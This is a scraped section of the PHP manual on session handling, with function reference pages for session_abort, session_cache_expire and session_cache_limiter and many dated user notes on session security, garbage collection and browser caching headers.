Also its always good to ensure every valid session is checked against an ip. One good method is to store the session id and remote ip information in a table, or better store the ip as a session variable itself, once the user logs in and ensure that this is continued for remaining pages for security. This ofcourse wont work when users use the same office or shared network as the ip to the outside world is the same.

https is always a good idea for sensitive sites, but keeping it persistent for all pages which use session is important if you really want a foolproof system else anyone can always sniff your packets.

So to quickly go through the bits

- set session.use_trans_sid = 0 in /etc/php5/apache2/php.ini file.
- Ensure you always use a new self generated session id on successful login attempt.
- Try setting session.use_only_cookies = 1 and check if all works fine.
- Use https throughout to ensure no one can sniff your session id.
- Store session id, remote IP information and compare for successive pages
JonathanFeller at NOSPAMgmx dot ch 27-Oct-2008 09:22
Perhaps, you would also like to timeout a session after some idle time. I noticed that session.gc_maxlifetime is not suitable for this. So I used this code to do the job:

<?php
if (!isset($_SESSION['timeout_idle'])) {
    $_SESSION['timeout_idle'] = time() + MAX_IDLE_TIME;
} else {
    if ($_SESSION['timeout_idle'] < time()) {
        //destroy session
    } else {
        $_SESSION['timeout_idle'] = time() + MAX_IDLE_TIME;
    }
}
?>
Olle Bergkvist 22-Oct-2008 12:47
It is also quite important to (somehow) make sure that the cookies you're setting (including the session cookie) is only visible to the site that created it (or to other trusted sites only).

If the cookie's path is set to '/' (the whole domain), then any website on the same domain (might be lots of websites) _will_ get the cookie through HTTP headers and could possibly hijack your session.

One slightly acceptable protection would be to lock a session to one IP adress.


Session Functions

Table of Contents

  • session_abort — Discard session array changes and finish session
  • session_cache_expire — Return current cache expire
  • session_cache_limiter — Get and/or set the current cache limiter
  • session_commit — Alias of session_write_close
  • session_decode — Decodes session data from a session encoded string
  • session_destroy — Destroys all data registered to a session
  • session_encode — Encodes the current session data as a session encoded string
  • session_get_cookie_params — Get the session cookie parameters
  • session_id — Get and/or set the current session id
  • session_is_registered — Find out whether a global variable is registered in a session
  • session_module_name — Get and/or set the current session module
  • session_name — Get and/or set the current session name
  • session_regenerate_id — Update the current session id with a newly generated one
  • session_register_shutdown — Session shutdown function
  • session_register — Register one or more global variables with the current session
  • session_reset — Re-initialize session array with original values
  • session_save_path — Get and/or set the current session save path
  • session_set_cookie_params — Set the session cookie parameters
  • session_set_save_handler — Sets user-level session storage functions
  • session_start — Start new or resume existing session
  • session_status — Returns the current session status
  • session_unregister — Unregister a global variable from the current session
  • session_unset — Free all session variables
  • session_write_close — Write session data and end session

User Contributed Notes

Sam Yong - hellclanner at live dot com 27-Jul-2011 11:01
The following has been tested true in PHP 5.3.5.

Setting the session variables after the execution of the script i.e. in __destruct function, will not work.

<?php

class Example{

    function __destruct(){
        $_SESSION['test'] = true;
        session_write_close();
    }

}

?>

The above example will write nothing into the temporary session file, as I observed through a custom Session Save Handler.
jitchavan at gmail dot com 01-Apr-2011 03:43
IE issue :-

when form target set to iframe source and after posting form content you are setting session variables,
In this scenario if parent page having image src blank then session values set in iframe action page will be LOST surprisingly in IE ONLY.Solution is quite simple don't keep Image src blank.
ted at tedmurph dot com 07-Oct-2010 02:34
I was having problems with $_SESSION information not being written or being lost in a seemingly random way.  There was a Location: call being made deep in a Zend OAuth module, I am using an IIS server with PHP as a CGI, etc.

The answer was simply that you need to have the domain be consistent for sessions to work consistently.  In my case, I was switching back and forth between www.EXAMPLE.com:888 and EXAMPLE.com:888.  The unusual port, the hidden Location: call, the handoff with OAuth, etc all served to confuse me, but the intermitent error was caused by this simple goof of keeping the domain consistent.
hinom06 [at] hotmail.co.jp 30-Aug-2010 07:28
simple session test version 1.1

<?php
/* [EDIT by danbrown AT php DOT net:
   The author of this note named this
   file tmp.php in his/her tests. If
   you save it as a different name,
   simply update the links at the
   bottom to reflect the change.] */

error_reporting( E_ALL );
ini_set( 'display_errors', 1);
date_default_timezone_set('Asia/Tokyo');

//ini_set( 'session.save_path', '/tmp' ); // for debug purposes

session_start();

// check if session_id() exists.
/*
for example, if exists and session wont read, must send session.name as parameter in URL.

Some servers configurations may have problem to recognize PHPSESSID, even if transid value is 0 or 1.
So, this test is usefull to identify any causes.

*/
if( session_id() == '' )
{
    echo 'session_id() empty';
}else{
    echo session_id();
}
echo '<hr>';

$sessPath   = ini_get('session.save_path');
$sessCookie = ini_get('session.cookie_path');
$sessName   = ini_get('session.name');
$sessVar    = 'foo';

echo '<br>sessPath: ' . $sessPath;
echo '<br>sessCookie: ' . $sessCookie;

echo '<hr>';

if( !isset( $_GET['p'] ) ){
    // instantiate new session var
    $_SESSION[$sessVar] = 'hello world';
}else{
    if( $_GET['p'] == 1 ){

        // printing session value and global cookie PHPSESSID
        echo $sessVar . ': ';
        if( isset( $_SESSION[$sessVar] ) ){
            echo $_SESSION[$sessVar];
        }else{
            echo '[not exists]';
        }

        echo '<br>' . $sessName . ': ';

        if( isset( $_COOKIE[$sessName] ) ){
        echo $_COOKIE[$sessName];
        }else{
            if( isset( $_REQUEST[$sessName] ) ){
            echo $_REQUEST[$sessName];
            }else{
                if( isset( $_SERVER['HTTP_COOKIE'] ) ){
                echo $_SERVER['HTTP_COOKIE'];
                }else{
                echo 'problem, check your PHP settings';
                }
            }
        }

    }else{

        // destroy session by unset() function
        unset( $_SESSION[$sessVar] );

        // check if was destroyed
        if( !isset( $_SESSION[$sessVar] ) ){
            echo '<br>';
            echo $sessName . ' was "unseted"';
        }else{
            echo '<br>';
            echo $sessName . ' was not "unseted"';
        }

    }
}
?>
<hr>
<a href=tmp.php?p=1&<?php echo $sessName . '=' . session_id();?>>test 1 (printing session value)</a>
<br>
<a href=tmp.php?p=2&<?php echo $sessName . '=' . session_id();?>>test 2 (kill session)</a>
Trevor Brown 04-Aug-2010 05:17
A confirmation of behaviour, just in case this saves anyone else some time...

There is (potentially) a special case when session.gc_probability = 0 and session.gc_divisor = 0.  Depending on how they wanted to work their maths underneath, the coders *might* have opted to interpret 0/0 as 1 (which is sometimes assumed in certain maths proofs), but thankfully it seems they haven't.  With both values set to 0, the session code will follow the spirit of the directives and invoke the garbage collector with zero probability.  At least this is true with php 5.2.5 (which, to be certain, I inspected the source of).

To be safe, however, setting both to zero is *probably* not a good idea because usually 0/0 is undefined, so it could presumably mean anything (some arguments exist that claim 0/0 is equal to every fraction).  Wouldn't you rather know for sure what your probability was set to?  In other words, don't set gc_divisor = 0
Jeremy Speer 19-Feb-2010 09:14
When working on a project, I found a need to switch live sessions between two different pieces of software. The documentation to do this is scattered all around different sites, especially in comments sections rather than examples. One difficulty I encountered was the session save handler for one of the applications was set, whereas the other was not. Now, I didn't code in the function session_set_save_handler(), instead I utilize that once I'm done with the function (manually), however this function could easily be extended to include that functionality. Basically, it is only overriding the system's default session save handler. To overcome this after you have used getSessionData(), just call session_write_close(), session_set_save_handler() with the appropriate values, then re-run session_name(), session_id() and session_start() with their appropriate values. If you don't know the session id, it's the string located in $_COOKIE[session_name], or $_REQUEST[session_name] if you are using trans_sid. [note: use caution with trusting data from $_REQUEST, if at all possible, use $_GET or $_POST instead depending on the page].

<?php
function getSessionData ($session_name = 'PHPSESSID', $session_save_handler = 'files') {
    $session_data = array();
    # did we get told what the old session id was? we can't continue it without that info
    if (array_key_exists($session_name, $_COOKIE)) {
        # save current session id
        $session_id = $_COOKIE[$session_name];
        $old_session_id = session_id();

        # write and close current session
        session_write_close();

        # grab old save handler, and switch to files
        $old_session_save_handler = ini_get('session.save_handler');
        ini_set('session.save_handler', $session_save_handler);

        # now we can switch the session over, capturing the old session name
        $old_session_name = session_name($session_name);
        session_id($session_id);
        session_start();

        # get the desired session data
        $session_data = $_SESSION;

        # close this session, switch back to the original handler, then restart the old session
        session_write_close();
        ini_set('session.save_handler', $old_session_save_handler);
        session_name($old_session_name);
        session_id($old_session_id);
        session_start();
    }

    # now return the data we just retrieved
    return $session_data;
}
?>
brfelipe08 at hotmail dot com 29-Aug-2009 03:26
If you need to use sessions, and some accents required for some Latin-based languages, you should encode your files in ISO-8859-1.
You will run into some problems if you try to use UTF-8 - with or without BOM -, and ANSI will not support accents.
ISO-8859-1 will both support sessions and the accents.
edA-qa at disemia dot com 08-May-2009 09:18
WARNING for Debian users.  Just to drive you completely crazy Debian does its own form of session management and will completely ignore all alterations to the values who do within your PHP script.

Debian sets up a <crontab /etc/cron.d/php5> which deletes all files, including those in subdirectories, which exceed the gc_maxlifetime specified in the <php.ini> file only.

That is, on Debian (and likely variants like Ubuntu) modifying the session expiration settings (like gc_maxlifetime) does *NOTHING*.  You *HAVE* to modify the global <php.ini>.  Not even a <.htaccess> file will help you.
edA-qa at disemia dot com 07-May-2009 02:14
Sessions may be deleted before the time limit you set in gc_maxlifetime.

If you have multiple pages on the same server, each using the session (the same or distinct named sessions, it doesn't matter), the *minimum* gc_maxlifetime of any of those scripts ends up being the effective lifetime of the session files.

This can also apply to the lifetime coming from a CLI invocation of a PHP script on that machine which happens to use the session.

This can be bothersome since even though you think all your pages include the same file which sets up the script, even a single PHP page which doesn't can invoke the GC and have the scripts deleted.

Thus, if you need to set a long gc_maxlifetime you are best doing this through the INI file or in a .htaccess file for the entire directory.
LaurentT 03-Dec-2008 11:51
For UNIX :

One might encounter some problems with sessions, having different sites on the same server : sessions would either merge if one is using more than one site at a time or crash if sites are owned by different system users. For instance :

www.example.com is stored in /home/site1/www
www.example.net is stored in /home/site2/www

Using both www.example.com and www.example.net would cause sessions to act weird.

If you're using PHP as an Apache module, you can easely use php_value in the http.conf to set a unique session.name depending on the site. If you're using suPHP though (PHP as CGI) you can't use php_value, though you can use suPHP_ConfigPath.

Here's an example :

<VirtualHost 10.10.10.10:8081>
    DocumentRoot /home/site1/www
    ServerName www.example.com
    suPHP_ConfigPath /home/site1/server_config
</VirtualHost>
<VirtualHost 10.10.10.10:8082>
    DocumentRoot /home/site2/www
    ServerName www.example.net
    suPHP_ConfigPath /home/site2/server_config
</VirtualHost>

Each server_config folder contain a php.ini file specific to the vHost. You then just have to change the values of each session.name to unique ones and you're done !
hinom - iMasters 05-Jun-2008 06:00
simple session test

<?php
/* [EDIT by danbrown AT php DOT net:
   The author of this note named this
   file tmp.php in his/her tests. If
   you save it as a different name,
   simply update the links at the
   bottom to reflect the change.] */

session_start();

$sessPath   = ini_get('session.save_path');
$sessCookie = ini_get('session.cookie_path');
$sessName   = ini_get('session.name');
$sessVar    = 'foo';

echo '<br>sessPath: ' . $sessPath;
echo '<br>sessCookie: ' . $sessCookie;

echo '<hr>';

if( !isset( $_GET['p'] ) ){
    // instantiate new session var
    $_SESSION[$sessVar] = 'hello world';
}else{
    if( $_GET['p'] == 1 ){

        // printing session value and global cookie PHPSESSID
        echo $sessVar . ': ';
        if( isset( $_SESSION[$sessVar] ) ){
            echo $_SESSION[$sessVar];
        }else{
            echo '[not exists]';
        }

        echo '<br>' . $sessName . ': ';

        if( isset( $_COOKIE[$sessName] ) ){
        echo $_COOKIE[$sessName];
        }else{
            if( isset( $_REQUEST[$sessName] ) ){
            echo $_REQUEST[$sessName];
            }else{
                if( isset( $_SERVER['HTTP_COOKIE'] ) ){
                echo $_SERVER['HTTP_COOKIE'];
                }else{
                echo 'problem, check your PHP settings';
                }
            }
        }

    }else{

        // destroy session by unset() function
        unset( $_SESSION[$sessVar] );

        // check if was destroyed
        if( !isset( $_SESSION[$sessVar] ) ){
            echo '<br>';
            echo $sessName . ' was "unseted"';
        }else{
            echo '<br>';
            echo $sessName . ' was not "unseted"';
        }

    }
}
?>
<hr>
<a href=tmp.php?p=1>test 1 (printing session value)</a>
<br>
<a href=tmp.php?p=2>test 2 (kill session)</a>
paul at shirron dot net 05-May-2008 04:19
In php.ini, I have:

session.save_path="C:\DOCUME~1\pjs9486\LOCALS~1\Temp\php\session"

I was cleaning out the temp directory, and deleted the php directory. Session stuff quit working. I re-created the php directory. Still no luck. I re-created the session directory in the php directory, and session stuff resumed working.

I would have expected session_start() to have re-created directories in the path, if they didn't exist, but, it doesn't.

Note to self: Don't do that again!!!!
Vextor 04-Apr-2008 05:24
It seems that the garbage engine can't delete the expired session related to the itself. If there is only one session, it won't expire even if it has expired the gc_maxlifetime set.

It will be necessary another client connecting, starting a different session, and the garbage collector of this new session will be able to clean the other expired sessions.

I tested this in Windows with file sessions.
session a emailaddress d cjb d net 28-Mar-2008 08:33
It doesn't appear in the documentation, or in anyone's comment here, but setting session.gc_maxlifetime to 0 means the session will not expire until the browser is closed.

Of course this still doesn't fix the problems associated with the garbage collector doing it's own thing.
The best solution to that still appears to be changing session.save_path
Csar 07-Mar-2008 04:38
There's a bug in Internet explorer in which sessions do not work if the name of the server is not a valid name. For example...if your server is called web_server (_ isn't a valid character), if you call a page which uses sessions like http://web_server/example.php your sessions won't work but sessions will work if you call the script like this
[IP NUMBER]/example.php
carl /a/ suchideas /o/ com 30-Sep-2007 06:45
Another gotcha to add to this list is that using a relative session.save_path is a VERY BAD idea.

You can just about pull it off, if you're very careful, but note two related points:

1) The path is taken relative to the directory of the ORIGINALLY executed script, so unless all pages are run from the same directory, you'll have to set the directory separately in each individual subfolder

2) If you call certain functions, such as session_regenerate_id(), PHP will try to take the session directory relative to the exectuable, or something like that, creating an error IN the executable. This provides slightly cryptic error messages, like this:

Warning: Unknown: open(relative_path\ilti9oq3j9ks0jvih1fmiq4sv1.session, O_RDWR) failed: No such file or directory (2) in Unknown on line 0

Warning: Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path is correct (relative_path) in Unknown on line 0

... so don't even bother. Just use

<?php ini_set("session.save_path",dirname(__FILE__)."/relative_path"); ?>

(or equivalent) in a file which you know is always in the same place relative to the file.

{PHP version 5.1.6}
jsnell at e-normous dot com 29-Aug-2007 10:58
Careful not to try to use integer as a key to the $_SESSION array (such as $_SESSION[0] = 1;)  or you will get the error "Notice: Unknown: Skipping numeric key 0. in Unknown on line 0"
Nigel Barlass 28-Jun-2007 03:07
Lima's note on sessions and browser's tabs needs to be modified for my version of php as the call to uniqid('') will return an alphanumeric string.
Hence the ereg statement should be:
if(!ereg('^SESS[0-9a-z]+$',$_REQUEST['SESSION_NAME'])) {...
Edemilson Lima <pulstar at gmail dot com> 17-Apr-2007 03:17
Sessions and browser's tabs

May you have noticed when you open your website in two or more tabs in Firefox, Opera, IE 7.0 or use 'Control+N' in IE 6.0 to open a new window, it is using the same cookie or is passing the same session id, so the another tab is just a copy of the previous tab. What you do in one will affect the another and vice-versa. Even if you open Firefox again, it will use the same cookie of the previous session. But that is not what you need mostly of time, specially when you want to copy information from one place to another in your web application. This occurs because the default session name is "PHPSESSID" and all tabs will use it. There is a workaround and it rely only on changing the session's name.

Put these lines in the top of your main script (the script that call the subscripts) or on top of each script you have:

<?php
if(version_compare(phpversion(),'4.3.0')>=0) {
    if(!ereg('^SESS[0-9]+$',$_REQUEST['SESSION_NAME'])) {
        $_REQUEST['SESSION_NAME']='SESS'.uniqid('');
    }
    output_add_rewrite_var('SESSION_NAME',$_REQUEST['SESSION_NAME']);
    session_name($_REQUEST['SESSION_NAME']);
}
?>

How it works:

First we compare if the PHP version is at least 4.3.0 (the function output_add_rewrite_var() is not available before this release).

After we check if the SESSION_NAME element in $_REQUEST array is a valid string in the format "SESSIONxxxxx", where xxxxx is an unique id, generated by the script. If SESSION_NAME is not valid (ie. not set yet), we set a value to it.

uniqid('') will generate an unique id for a new session name. It don't need to be too strong like uniqid(rand(),TRUE), because all security rely in the session id, not in the session name. We only need here a different id for each session we open. Even getmypid() is enough to be used for this, but I don't know if this may post a treat to the web server. I don't think so.

output_add_rewrite_var() will add automatically a pair of 'SESSION_NAME=SESSxxxxx' to each link and web form in your website. But to work properly, you will need to add it manually to any header('location') and Javascript code you have, like this:

<?php
header('location: script.php?'.session_name().'='.session_id()
      . '&SESSION_NAME='.session_name());
?>
<input type="image" src="button.gif" onClick="javascript:open_popup('script.php?<?php
echo session_name(); ?>=<?php echo session_id(); ?>&SESSION_NAME=<?php echo session_name(); ?>')" />

The last function, session_name() will define the name of the actual session that the script will use.

So, every link, form, header() and Javascript code will forward the SESSION_NAME value to the next script and it will know which is the session it must use. If none is given, it will generate a new one (and so, create a new session to a new tab).

May you are asking why not use a cookie to pass the SESSION_NAME along with the session id instead. Well, the problem with cookie is that all tabs will share the same cookie to do it, and the sessions will mix anyway. Cookies will work partially if you set them in different paths and each cookie will be available in their own directories. But this will not make sessions in each tab completly separated from each other. Passing the session name through URL via GET and POST is the best way, I think.
pautzomat at web dot de 19-Nov-2003 09:05
Be aware of the fact that absolute URLs are NOT automatically rewritten to contain the SID.

Of course, it says so in the documentation ('Passing the Session Id') and of course it makes perfectly sense to have that restriction, but here's what happened to me:
I have been using sessions for quite a while without problems. When I used a global configuration file to be included in all my scripts, it contained a line like this:

$sHomeDirectory = 'http://my.server.com/one/of/my/projects'

which was used to make sure that all automatically generated links had the right prefix (just like $cfg['PmaAbsoluteUri'] works in phpMyAdmin). After introducing that variable, no link would pass the SID anymore, causing every script to return to the login page. It took me hours (!!) to recognize that this wasn't a bug in my code or some misconfiguration in php.ini and then still some more time to find out what it was. The above restriction had completely slipped from my mind (if it ever was there...)

Skipping the 'http:' did the job.

OK, it was my own mistake, of course, but it just shows you how easily one can sabotage his own work for hours... Just don't do it ;)
shanemayer42 at yahoo dot com 20-Aug-2000 04:11
Session Garbage Collection Observation:

It appears that session file garbage collection occurs AFTER the current session is loaded.

This means that:
even if session.gc_maxlifetime = 1 second,
if someone starts a session A and no one starts a session for an hour,  that person can reconnect to session A and all of their previous session values will be available (That is, session A will not be cleaned up even though it is older than gc_maxlifetime).


Discard session array changes and finish session

  • « Session Functions
  • session_cache_expire »
  • PHP Manual
  • Session Functions
  • Discard session array changes and finish session

session_abort

(PHP 5 >= 5.6.0)

session_abort — Discard session array changes and finish session

Description

bool session_abort ( void )

session_abort() finishes session without saving data. Thus original values in session data is kept.

Return Values

This function returns TRUE if a session was successfully reinitialized, otherwise FALSE.

See Also

  • $_SESSION
  • The session.auto_start configuration directive
  • session_start() - Start new or resume existing session
  • session_reset() - Re-initialize session array with original values
  • session_commit() - Alias of session_write_close

User Contributed Notes

There are no user contributed notes for this page.


Return current cache expire

  • « session_abort
  • session_cache_limiter »
  • PHP Manual
  • Session Functions
  • Return current cache expire

session_cache_expire

(PHP 4 >= 4.2.0, PHP 5)

session_cache_expire — Return current cache expire

Description

int session_cache_expire ([ string $new_cache_expire ] )

session_cache_expire() returns the current setting of session.cache_expire.

The cache expire is reset to the default value of 180 stored in session.cache_expire at request startup time. Thus, you need to call session_cache_expire() for every request (and before session_start() is called).

Parameters

new_cache_expire

If new_cache_expire is given, the current cache expire is replaced with new_cache_expire.

Note: Setting new_cache_expire is of value only, if session.cache_limiter is set to a value different from nocache.

Return Values

Returns the current setting of session.cache_expire. The value returned should be read in minutes, defaults to 180.

Examples

Example #1 session_cache_expire() example

<?php

/* set the cache limiter to 'private' */

session_cache_limiter('private');
$cache_limiter = session_cache_limiter();

/* set the cache expire to 30 minutes */
session_cache_expire(30);
$cache_expire = session_cache_expire();

/* start the session */

session_start();

echo "The cache limiter is now set to $cache_limiter<br />";
echo "The cached session pages expire after $cache_expire minutes";
?>

See Also

  • session.cache_expire
  • session.cache_limiter
  • session_cache_limiter() - Get and/or set the current cache limiter

User Contributed Notes

WooDzu 03-Sep-2013 04:50
Just to make things clear. If session.cache_limiter is set to private the following header will be sent in HTTP response:

Cache-Control    private, max-age=10800, pre-check=10800

Where 10800 is the amount of seconds - default value of 180 minutes set by session.cache_expire which you are enabled to change with session_cache_expire() on run-time
Anonymous 20-Feb-2008 05:50
The manual probably doesn't stress this enough:

** This has nothing to do with lifetime of a session **

Whatever you set this setting to, it won't change how long sessions live on your server.

This only changes HTTP cache expiration time (Expires: and Cache-Control: max-age headers), which advise browser for how long it can keep pages cached in user's cache without having to reload them from the server.
lance_rushing at hotmail dot com 17-Jun-2005 11:47
I've encountered the same problem of loosing focus when using IE and a javascript window.location.refresh/replace().

After fusing around I found that a <meta http-equiv="refresh" content="600"> works without move the focus on the parent frame's form.  The down side is loading up the browser history and an annoying 'click' in IE on the page load.


Get and/or set the current cache limiter

  • « session_cache_expire
  • session_commit »
  • PHP Manual
  • Session Functions
  • Get and/or set the current cache limiter

session_cache_limiter

(PHP 4 >= 4.0.3, PHP 5)

session_cache_limiter — Get and/or set the current cache limiter

Description

string session_cache_limiter ([ string $cache_limiter ] )

session_cache_limiter() returns the name of the current cache limiter.

The cache limiter defines which cache control HTTP headers are sent to the client. These headers determine the rules by which the page content may be cached by the client and intermediate proxies. Setting the cache limiter to nocache disallows any client/proxy caching. A value of public permits caching by proxies and the client, whereas private disallows caching by proxies and permits the client to cache the contents.

In private mode, the Expire header sent to the client may cause confusion for some browsers, including Mozilla. You can avoid this problem by using private_no_expire mode. The Expire header is never sent to the client in this mode.

Setting the cache limiter to '' will turn off automatic sending of cache headers entirely.

The cache limiter is reset to the default value stored in session.cache_limiter at request startup time. Thus, you need to call session_cache_limiter() for every request (and before session_start() is called).

Parameters

cache_limiter

If cache_limiter is specified, the name of the current cache limiter is changed to the new value.

Possible values
Value Headers sent
public
Expires: (sometime in the future, according session.cache_expire)
Cache-Control: public, max-age=(sometime in the future, according to session.cache_expire)
Last-Modified: (the timestamp of when the session was last saved)
private_no_expire
Cache-Control: private, max-age=(session.cache_expire in the future), pre-check=(session.cache_expire in the future)
Last-Modified: (the timestamp of when the session was last saved)
private
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=(session.cache_expire in the future), pre-check=(session.cache_expire in the future)
Last-Modified: (the timestamp of when the session was last saved)
nocache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Return Values

Returns the name of the current cache limiter.

Examples

Example #1 session_cache_limiter() example

<?php

/* set the cache limiter to 'private' */

session_cache_limiter('private');
$cache_limiter = session_cache_limiter();

echo "The cache limiter is now set to $cache_limiter<br />";
?>

See Also

  • session.cache_limiter

User Contributed Notes

kubavathimanshu76 at gmail dot com 06-Oct-2014 07:12
but i have problem in same browser i have login with diff users in same project but last logged user overwrite with all other user log in how to prevent this
ire dot ogunsina at gmail dot com 01-Oct-2008 04:55
I have had some trouble preventing IE, particular IE 7 to stop caching pages. I read quite a number of articles relating to people's experiences and how they fixed it but it was hard to find one that worked for me. Eventually I had to use the following fix:
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Expires" CONTENT="-1">

based on the information available on following url: http://support.microsoft.com/kb/234067

Would to God that we'd all quit IE for good. Hope this saves someone some agony over IE.
yves at kochira point com 08-Sep-2008 10:58
To avoid a headache while trying the various parameters in Firefox 3.0.1 (+Firebug), just restart the browser after a change... or they're not taken into account (from 'no-cache' to 'public'/'private').
scott at realorganized dot com 02-May-2008 08:03
http://us.php.net/session_cache_limiter

sends:

Pragma: no-cache

under some conditions from server to client.

Internet Explorer has a strange interpretation of: Pragma: No-cache
being sent from the server to the client.

Here's the link:

http://support.microsoft.com/kb/234067

If the client communicates with the server over a secure connection (https://) and the server returns a Pragma: no-cache header with the response, Internet Explorer does not cache the response.

Note, however, that the Pragma: no-cache header was not intended for this. According to the HTTP 1.0 and 1.1 specifications, this header is defined in the context of a request only, not a response, and is actually intended for proxy servers that may prevent certain important requests from reaching the destination Web server. For future applications, the Cache-Control header is the proper means for controlling caching.

For this reason, watch out when using the Pragma: no-cache with https and IE
clay at killersoft dot com 30-Mar-2008 02:44
The actual headers that are set using the values described above are:

public:
    Expires: pageload + 3 hours
    Cache-Control: public, max-age=10800

private:
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: private, max-age=10800, pre-check=10800

nocache:
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    Pragma: no-cache

private_no_expire:
    Cache-Control: private, max-age=10800, pre-check=10800

Regarding other settings mentioned by some, those just don't do anything. Check the source of PHP, in ext/session/session.c -- the above values are all that actually do anything. Other values, or an emtpy string, result in no cache-limiting headers being set at all.
Fernando Gabrieli fgabrieli at gmail 07-Apr-2007 02:21
<?
    session_cache_limiter ('private, must-revalidate');

    $cache_limiter = session_cache_limiter();

    //

    session_cache_expire(60); // in minutes

    session_start() ;
?>

If i do not set must-revalidate, IE seems to cache session variables without refreshing them

If i post a form then it refreshes the variables

Firefox does not have this problem

So, be sure to use must-revalidate
Jeremiah at jkjonesco dot com 31-Oct-2006 12:20
If you are trying to work with dynamic binaries such as videos or images, the new IE 7 appears to require the ETag header.  You will need to make sure that you follow the specifications for how ETag works in order for your cache control to work properly.  Mozilla supports the ETag header as well, but does NOT require it for caching.  If you need to cache a dynamic image, video, or other binary file, then be sure to set your ETag and then check for the If-Not-Modified header on subsequent requests so that you can properly return the 304 Not Modified page.
john 28-Mar-2006 05:36
In addition to the  above, don't forget to check the php.ini file for the setting:   session.cache_limiter = nocache

Since I use xoops and didn't start the session, I had the SSL/download problem until I noticed this.
19-Oct-2005 05:11
The onLoad method of Actionscript's loadVars class was returning false in IE6 using SSL until I set --> session_cache_limiter("must-revalidate"); <-- on the receiving PHP script.
radu dot rendec at ines dot ro 18-Oct-2005 01:41
I've read the other comments and done some "reasearch" on my own. Using php's session mechanism and explicitly setting the "cache-control" header should not be mixed.

When session_start() is called, the "cache-control" and "pragma" headers are automatically set by php (to whatever value had been specified using session_cache_limiter()).

Explicitly setting those headers _before_ session_start() will have no effect, and explicitly setting them _after_ session_start() will overwrite the settings from session_cache_limiter().

If I had to deal with php sessions, I'd go for using session_cache_limiter() and leaving the headers alone.
03-Sep-2005 12:04
Andrei Chirila, andrei_chirila at yahoo dot com
12-Jan-2005 09:30
I played about an hour with the download and sessions. yes, to work you'll need session_cache_limiter("must-revalidate"); but this BEFORE session_start() if you want that your download start [IE problem]. Hope someone will need this someday

====

yes, somebody has needed this today :)

situation: trying to make a session based download management system complete with user login system that requries an authorized user to download some files, and hide all such files from non-authorized users. the user login, download center, and content management system of the site are all tied in to each other, making troubleshooting this headering stuff a headache.

problem: files being served are not accessible thru the regular site, since they are above the htdocs folder in apache, and so headering the file is required, and sessions do not work well with files being headered to the browser.

solution: the download center uses ob_start("");, then  session_cache_limiter("must-revalidate");, before the session_start();, then everything works well.

thank you very much! i was resorting to using a cookie to control this before because i could not figure out how to tie in sessions to the system before!
donovan at go4 dot com dot au 08-Aug-2005 03:41
IE6 'the file could not be written to the cache':

I tried all the other suggestions mentioned here but none of them worked.

I friend suggested header("Pragma: ");

This worked straight away!
snakes at ntica dot com 12-May-2005 11:28
Avoiding caching PHP pages:
After lot of tries and research this is the best combination of headers I've found that seems to work well even with the proxy of visitors that are using satellit connection.

<?
header("ETag: PUB" . time());
header("Last-Modified: " . gmdate("D, d M Y H:i:s", time()-10) . " GMT");
header("Expires: " . gmdate("D, d M Y H:i:s", time() + 5) . " GMT");
header("Pragma: no-cache");
header("Cache-Control: max-age=1, s-maxage=1, no-cache, must-revalidate");
session_cache_limiter("nocache");
?>
Andrei Chirila, andrei_chirila at yahoo dot com 12-Jan-2005 03:30
I played about an hour with the download and sessions. yes, to work you'll need session_cache_limiter("must-revalidate"); but this BEFORE session_start() if you want that your download start [IE problem]. Hope someone will need this someday ...
justin at justintubbs dot com 07-Jan-2005 09:04
I have PHP 4.3 running on a Windows 2003 Server running IIS 6.0 also using SSL encryption for my pages.  I could not (for the life of me) figure out how to get IE 6.0/WinXPPro to recognize a set of HTML tables as an Excel spreadsheet export, and it was due to the header() variables I was using.  Hopefully these are helpful to others who are attempting the same type of export within PHP.

*This example builds on the previously submitted one, adding a few necessary headers.

<?php
    header("Expires: Sat, 01 Jan 2000 00:00:00 GMT");
    header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
    header("Pragma: public");
    header("Expires: 0");
    header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
    header("Cache-Control: public");
    header("Content-Description: File Transfer");

    session_cache_limiter("must-revalidate");
    header("Content-Type: application/vnd.ms-excel");
    header('Content-Disposition: attachment; filename="fileToExport.xls"');

    // and after you start the session
    session_start();
?>
pulstar at ig dot com dot br 24-Oct-2004 11:39
You can find more information about to control the cache in PHP at http://www.php.net/manual/en/function.header.php

If you have a dinamic website and want to allow your visitors to use the back button after they sent a form with the post method, the best combination I found was:

<?php

header("Expires: Sat, 01 Jan 2000 00:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: post-check=0, pre-check=0",false);
session_cache_limiter("must-revalidate");

// and after you start the session
session_start();

?>

I try some combinations using header("Cache-Control: no-cache, must-revalidate"), but when clicking the back button, the last changes in the form back to their previous states. The combination above works fine with IE 6.x. I didn't test this with other browsers.

When I try something like session_cache_limiter("nocache, must-revalidate") it doesn't work. The page only updates when I used the browser's refresh button. In dynamic web sites this is not good. The content must be fresh after each click.

I didn't find these combinations like "private, must-revalidate" documented in the manual and I guess that something different from "none, nocache, private, public and private_no_expire" are resolved to "none" or something like that. One thing I notice is that in session_cache_limiter() it is "nocache", but in header() it is "no-cache". This may give us some clues about how session_cache_limiter() function works.

About caching, the perfect solution I think is to give the correct expiration date and time and also the right last-modified header for each element in the web site, when they are really updated. This means a lot of extra controls of course, but may worth in web sites with high overload.

The "public" option means that all available cache in proxies and clientes will be used, so this improves the speed of the web site and also reduces the used bandwidth. But without the right expiration and last-modified headers, you can use it only in static web sites.

The "private" option means that only the cache in clients will be used. This is good for a more sensitive data that can be stored locally in the browser cache. It have some benefits of the public option, but the same restrictions too.

The "nocache" (or no-cache?) option means that the HTML portion will not be cached, but the images, CSS and JS files will. This is good for dynamic websites because you still can use the power of cache without loose the refreshness after each click. These files can be updated when you open the web site or use the browser's refresh button.
I don't know why, but flash files are never updated when you click the refresh button. A common solution for this is to change the file name when you update the flash file.

